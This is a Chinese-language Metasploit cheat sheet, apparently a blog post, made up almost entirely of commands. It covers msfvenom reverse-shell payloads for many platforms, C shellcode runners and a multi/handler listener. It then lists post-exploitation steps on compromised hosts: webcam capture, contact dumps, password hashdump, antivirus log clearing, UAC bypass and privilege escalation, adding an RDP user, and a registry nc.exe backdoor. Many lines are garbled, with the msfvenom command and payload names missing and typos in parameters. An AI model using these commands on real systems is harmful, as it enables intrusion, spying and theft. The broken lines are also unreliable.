Metasploit 是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,同时该工具也是渗透测试环境中的利器,它支持多平台Payload的生成具有完全的跨平台性,本次实验将学会生成各种攻击载荷。
快速安装Metasploit linux系统下只需要执行下面的三条命令既可以自动安装,不过国内网速你懂的.
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb \ > msfinstall && chmod 755 msfinstall && ./msfinstall
关于Msfvenom命令常用参数解释
[root@localhost ~] -p, --payload <payload> 指定需要使用的payload(攻击荷载) -l, --list [module_type] 列出指定模块的所有可用资源. -n, --nopsled <length> 为payload预先指定一个NOP滑动长度 -f, --format <format> 指定输出格式 -e, --encoder [encoder] 指定需要使用的encoder编码器 -a, --arch <architecture> 指定payload的目标架构 --platform <platform> 指定payload的目标平台 -s, --space <length> 设定有效攻击荷载的最大长度 -b, --bad-chars <list> 设定规避字符集 -i, --iterations <count> 指定payload的编码次数 --shellest 最小化生成payload
Windows ShellCode
[root@localhost ~] -b '\x00\x0b' lhost=192.168.1.20 lport=9999 -f c [root@localhost ~] -b '\x00\x0b' lhost=192.168.1.20 lport=9999 -f c
Windows EXE Or DLL
[root@localhost ~] lhost=192.168.1.20 lport=9999 -e x86/shikata_ga_nai -i 3 -b '\x00\x0a\xff' -f exe -o payload.exe [root@localhost ~] lhost=192.168.1.20 lport=9999 -f dll > payload.dll
Linux ShellCode
[root@localhost ~] lhost=192.168.1.20 lport=9999 -f c [root@localhost ~] lhost=192.168.1.20 lport=9999 -f c
Linux ELF Or ELF-SO
[root@localhost ~] lhost=192.168.1.20 lport=9999 -f elf -o payload.elf [root@localhost ~] lhost=192.168.1.20 lport=9999 -f elf -o payload.elf [root@localhost ~] lhost=192.168.1.20 lport=9999 -f elf-so -o payload.so
Mac OS X ShellCode
[root@localhost ~] -b '\x0\x0b' lhhost=192.168.1.20 lport=9999 -f c [root@localhost ~] -b '\x0\x0b' lhhost=192.168.1.20 lport=9999 -f c
Mac OS X Macho
[root@localhost ~] lhost=192.168.1.20 lport=9999 -f macho -o payload.macho [root@localhost ~] lhost=192.168.1.20 lport=9999 -f macho -o payload.macho
Android Or Iphone App
[root@localhost ~] lhost=192.168.1.20 lport=9999 -o payload.apk [root@localhost ~] lhost=192.168.1.20 lport=9999 -o payload.ios
PHP Or ASP Or JSP
[root@localhost ~] [root@localhost ~] lhost=192.168.1.20 lport=9999 -f aspx -o payload.aspx [root@localhost ~] lhost=192.168.1.20 lport=9999 -f raw -o payload.jsp [root@localhost ~] lhost=192.168.1.20 lport=9999 -f raw -o payload.war
BASH Or PowerShell
[root@localhost ~] [root@localhost ~] [root@localhost ~] -b '\x00\x0b' LHOST=192.168.1.20 lport=9999 -f psh-cmd > payload.ps1
Python Or Ruby Or NodeJS
[root@localhost ~] lhost=192.168.1.20 lport=9999 -f raw -o payload.py [root@localhost ~] LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.rb [root@localhost ~] LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.lua [root@localhost ~] LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.js [root@localhost ~] LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.pl
服务端配置后门回弹会话(通用)
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.1.20 msf5 exploit(multi/handler) > set lport 9999 msf5 exploit(multi/handler) > exploit -j -z
Windows: 附上ShellCode有效性测试框架
#include <Windows.h> #include <stdio.h> #pragma comment(linker, "/section:.data,RWE" ) unsigned char buf[] = "" ;typedef void (__stdcall *CODE) () ;int main () { PVOID pFunction = NULL ; pFunction = VirtualAlloc(0 , sizeof (buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy (pFunction, buf, sizeof (buf)); CODE StartShell = (CODE)pFunction; StartShell(); }
Linux: 附上ShellCode有效性测试框架
#include <stdlib.h> const unsigned char shellcode[] = "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9" ;int main (int argc, char **argv) { int (*ret)(); ret = (int (*)())shellcode; (int )(*ret)(); exit (0 ); } #include <stdio.h> #include <string.h> char *shellcode = "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9" ; int main (void ) { fprintf (stdout ,"Length: %d\n" ,strlen (shellcode)); (*(void (*)()) shellcode)(); return 0 ; }
后渗透基础命令
msf5 exploit(multi/handler) > sessions msf5 exploit(multi/handler) > sessions -i 1 msf5 exploit(multi/handler) > sessions -k 1 msf5 exploit(multi/handler) > background msf5 exploit(multi/handler) > getuid/getpid msf5 exploit(multi/handler) > sysinfo msf5 exploit(multi/handler) > ps msf5 exploit(multi/handler) > kill PID msf5 exploit(multi/handler) > getsystem msf5 exploit(multi/handler) > shell msf5 exploit(multi/handler) > enumdesktops msf5 exploit(multi/handler) > getdesktop msf5 exploit(multi/handler) > set_desktop msf5 exploit(multi/handler) > screenshot msf5 exploit(multi/handler) > run vnc msf5 exploit(multi/handler) > uictl disable mouse msf5 exploit(multi/handler) > uictl enable keyboard msf5 exploit(multi/handler) > webcam_list msf5 exploit(multi/handler) > webcam_snap msf5 exploit(multi/handler) > webcam_stream msf5 exploit(multi/handler) > clearav msf5 exploit(multi/handler) > webcam_stream -i 1/2 msf5 exploit(multi/handler) > check_root msf5 exploit(multi/handler) > dump_calllog msf5 exploit(multi/handler) > dump_contacts msf5 exploit(multi/handler) > geolocate
Migrate进程迁移
msf5 exploit(multi/handler) > execute msf5 exploit(multi/handler) > execute -H -i -f cmd.exe msf5 exploit(multi/handler) > getpid msf5 exploit(multi/handler) > ps msf5 exploit(multi/handler) > migrate PID
文件查阅与远程传输
msf5 exploit(multi/handler) > getwd msf5 exploit(multi/handler) > search -f *filename* msf5 exploit(multi/handler) > cat c:\\lyshark.log msf5 exploit(multi/handler) > upload /tmp/shell.exe C:\\shell.exe msf5 exploit(multi/handler) > download c:\\shell.exe /tmp/ msf5 exploit(multi/handler) > edit c:\\lyshark.log msf5 exploit(multi/handler) > rm C:\\lyshark.log msf5 exploit(multi/handler) > getlwd msf5 exploit(multi/handler) > lcd /tmp
网络与端口转发/端口扫描
msf5 exploit(multi/handler) > ifconfig msf5 exploit(multi/handler) > netstat -antp msf5 exploit(multi/handler) > arp -a msf5 exploit(multi/handler) > getproxy msf5 exploit(multi/handler) > route run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.100 PORTS=3389 portfwd add -l 9999 -p 3389 -r 127.0.0.1 portfwd list portfwd delete -l 9999 run autoroute -p run autoroute -s 10.10.10.1 -n 255.255.255.0 run autoroute -d -s 10.10.10.1 run autoroute -s 10.10.10.1/24
后渗透信息搜集模块
[root@localhost post] [root@localhost post] aix android apple_ios brocade cisco firefox hardware juniper linux multi osx solaris windows [root@localhost gather] /opt/metasploit-framework/embedded/framework/modules/post/windows/gather meterpreter > info post/windows/gather/enum_files meterpreter > run post/windows/gather/enum_files meterpreter > run post/windows/gather/enum_services meterpreter > run post/windows/gather/hashdump meterpreter > run post/windows/gather/checkvm meterpreter > run post/windows/gather/forensics/enum_drives meterpreter > run post/windows/gather/enum_applications meterpreter > run post/windows/gather/dumplinks meterpreter > run post/windows/gather/enum_ie meterpreter > run post/windows/gather/enum_chrome meterpreter > run post/windows/gather/enum_patches meterpreter > run post/windows/gather/enum_domain
针对肉鸡的提权操作
meterpreter > background msf > use exploit/windows/local/bypassuac msf > set SESSION 1 msf > run meterpreter > run post/windows/gather/enum_patches [+] KB2871997 is missing [+] KB2928120 is missing [+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 meterpreter > background msf > use exploit/windows/local/ms13_053_schlamperei msf > set SESSION 1 msf > exploit
添加系统用户与开启3389远程
meterpreter > run getgui -e meterpreter > run getgui -u lyshark -p 123123 meterpreter > run getgui -f 9999 -e meterpreter > run post/windows/manage/enable_rdp meterpreter > run post/windows/manage/enable_rdp USERNAME=lyshark PASSWORD=123 meterpreter > run post/windows/manage/enable_rdp FORWARD=true LPORT=9999
注册表操作与写入后门
-d 注册表中值的数据. -k 注册表键路径 -v 注册表键名称 enumkey 枚举可获得的键 setval 设置键值 queryval 查询键值数据 upload /root/nc.exe C:\\windows\\ reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v myshell -d 'C:\windows\nc.exe -Ldp 666 -e cmd.exe' reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v myshell [root@localhost ~]
目标网卡抓包
msf > use sniffer msf > sniffer_interfaces msf > sniffer_start 1 msf > sniffer_stats 1 msf > sniffer_dump 1 /tmp/ltest.pcap msf > sniffer_stop 1